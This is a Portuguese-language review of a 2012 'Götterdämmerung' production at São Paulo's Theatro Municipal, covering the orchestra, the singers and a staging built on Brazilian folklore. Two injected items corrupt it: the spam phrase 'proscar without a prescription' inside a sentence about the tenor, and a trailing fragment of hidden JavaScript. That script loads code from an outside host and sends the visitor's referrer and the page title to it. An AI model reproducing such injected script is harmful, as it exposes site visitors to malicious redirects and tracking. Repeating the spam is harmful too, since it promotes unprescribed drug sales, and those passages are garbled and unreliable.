Escrito por em 21 ago 2012 nas áreas Crítica, Movimento

Notas sobre o Crepúsculo dos Deuses no Theatro Municipal de São Paulo.


A saga wagneriana no Theatro Municipal de São Paulo estreou seu novo capítulo no último dia 12 de agosto, com resultados mistos. A última parte do “Anel brasileiro” proposta por André Heller-Lopes e Luiz Fernando Malheiro logrou atender ao mínimo, para que uma performance wagneriana se sustente por suas longas quatro horas, mas não conseguiu alçar voos que a elevassem muito acima disso.

Os esforços do competente Luiz Fernando Malheiro resultaram em leitura orquestral interessante, de razoável eloquência nos momentos heróicos (com brilho timbrístico e força nos tutti) e reflexiva nas passagens dramáticas (com andamentos lentos, mas jamais arrastados). Se o Theatro Municipal não conta, por certo, com o melhor grupo orquestral da cidade de São Paulo, a atuação do regente e dos músicos, apesar de algumas visíveis (e audíveis) escorregadelas dos metais, merece sinceros aplausos frente à dificuldade do desafio enfrentado.

Entre as atuações vocais, cabe principiar pela protagonista. A Brünhilde de Eliane Coelho sofreu pela compreensível deterioração vocal (nem mesmo as grandes vozes são eternas) e pelo abuso da voz de peito, inclusive no registro médio. A conjugação desses dois fatores fez com que ela, por vezes, perdesse potência, beleza e fluência de canto e, mesmo, afinação. Alguns momentos de brilho estiveram lado a lado com passagens vocalmente frustrantes ou, mesmo, de canto bastante discutível. Um exemplo de atuação elogiável ocorreu na maior parte da crucial cena da Imolação, cantada com dignidade e bom impacto dramático e musical. O mesmo não se pode dizer a respeito do juramento sobre a lança de Hagen, que soou com menos volume que o desejável e teve agudos pálidos, ou, ainda, do dueto Zu neuen Taten, no qual o fraseado foi excessivamente áspero e pouco musical.

John Daszak proscar without a prescription , por sua vez, tem volume suficiente para cantar Siegfried, mas seu timbre é mais próximo do character tenor do que do tenor heróico. Mesmo assim, foi convincente em passagens importantes, como o juramento sobre a lança no segundo ato, a narrativa de Siegfried e a cena da morte do herói, no terceiro. Não se pode deixar de registrar, porém, certa falta de cor e matizes vocais em momentos como o dueto do prólogo ou o diálogo com as Filhas do Reno. Seja como for, a imensa dificuldade de se encontrar um bom Siegfried entre os tenores wagnerianos em atividade faz com que Daszak seja, efetivamente, uma das (poucas) alternativas viáveis para o papel, inclusive para teatros de maior expressão internacional.

Um brinde para os ouvidos foi a performance de elevado nível de Denise de Freitas (Waltraute), voz bela em todos os registros, com segurança técnica evidente e qualidade de emissão e fraseado. Também merece elogios o Gunther de Leonardo Neiva, cantado com dignidade, bom volume e domínio de estilo.

O Hagen de Gregory Reinhart está distante da potência vocal e dos tons escuros dos maiores intérpretes do papel (como Salminen, Frick e Greindl), mas sua atuação tecnicamente segura fez dele um dos pontos altos da récita. Lamenta-se, apenas, a opção pela caracterização cênica demasiadamente caricata. Já o bom Alberich de Pepes do Valle faz esperar com ansiedade por sua futura atuação em O Ouro do Reno.

A Gutrune de Cláudia Riccitelli começou muito irregular, o que parecia revelar a inadequação de sua voz ligeira para o enfrentamento de um personagem wagneriano. Redimiu-se em parte no terceiro ato, com atuação bem calculada, apesar de algumas notas gritadas.

Uma aparente falta de volume para o canto wagneriano foi o que se notou nas primeiras frases das Nornas (Janette Dornellas, Lídia Schaffer, Keila Moraes). Essa primeira impressão foi superada ao longo dessa misteriosa cena do prólogo, quando as vozes se aqueceram, com razoável resultado final.

As Filhas do Reno (Flávia Fernandes, Maira Lautert e Laura Aimbiré) apresentaram desempenho vocal insatisfatório, com evidentes problemas de afinação e dificuldades para cantarem em conjunto. O surpreendente mundo sonoro criado por Wagner na primeira cena do terceiro ato foi realizado de modo lamentavelmente tortuoso. O coro teve atuação correta, com potência e afinação.

Cabe, por fim, tecer algumas considerações sobre a encenação de André Heller-Lopes. O diretor engendrou algumas boas soluções cênicas, como a rede de retalhos na qual as Nornas lêem o passado, o presente e o futuro, e a “dupla presença” de Siegfried/Gunther, como se refletidos ao espelho, ao final do primeiro ato.

Outras ideias foram menos felizes. A aparente ascensão do corpo de Siegfried ao Walhall não faz qualquer sentido, uma vez que é precisamente a consumação em chamas dos corpos de Siegfried e Brünhilde, unidos na morte pelo amor, que purifica o ouro do anel, antes forjado na renúncia a esse mesmo amor. O anunciado “beijaço” do final, por sua vez, embora seja válido na lógica da redenção pelo amor, pareceu muito mais com uma tentativa frustrada de “épater le bourgeois” do que com uma conclusão convincente para a obra.

O principal problema, entretanto, é que a proposta estruturante da encenação, que consistia em inserir a simbologia wagneriana em um universo pautado no folclore e na cultura brasileiras, simplesmente não funcionou. Ao menos no Crepúsculo dos Deuses, tudo pareceu como um verniz de “brasilidade”, que jamais se entranha verdadeiramente na peça, que acaba por ter seu curso “apesar” dos bois-bumbás, das carpideiras e do mercado de quinquilharias à margem do Reno/Rio Negro.  Aguarde-se para ver como a concepção se desenvolverá em Siegfried e o Ouro do Reno.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

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